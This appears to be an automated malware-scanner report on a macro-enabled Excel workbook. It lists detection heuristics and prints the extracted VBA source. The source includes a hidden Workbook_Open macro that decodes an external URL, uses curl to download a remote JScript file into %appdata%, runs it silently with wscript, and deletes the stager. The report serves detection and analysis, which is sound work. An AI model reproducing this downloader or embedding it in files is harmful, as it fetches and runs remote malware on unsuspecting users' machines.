MALICIOUS
270
Risk Score
Heuristics 8
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js" -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js" -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://canta-cn.com/output_ojmtqo8b.js In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://www.gimp.org/xmp/In document text (OOXML body / shared strings)
- http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2417 bytes |
SHA-256: 557506c13165c0c5570320e06656e663185765600ea37d4a19c4c0efc7fb0844 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function PBaKXNQyDb(str)
Dim i, result, hex
result = ""
i = 1
Do While i <= Len(str)
If Mid(str, i, 1) = "%" Then
hex = Mid(str, i + 1, 2)
result = result & Chr(CLng("&H" & hex))
i = i + 3
ElseIf Mid(str, i, 1) = "+" Then
result = result & " "
i = i + 1
Else
result = result & Mid(str, i, 1)
i = i + 1
End If
Loop
PBaKXNQyDb = result
End Function
Sub Workbook_Open()
decoded = PBaKXNQyDb("https%3A%2F%2Fcanta-cn.com%2Foutput_ojmtqo8b.js")
cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
Set objShell = CreateObject("WScript.Shell")
objShell.Run cmd, 0, False
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 24576 bytes |
SHA-256: c6da9c67eb11562db98d2c24a5e4dddbdb25d4f7510a304bf1fe9ceaca791b2d |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.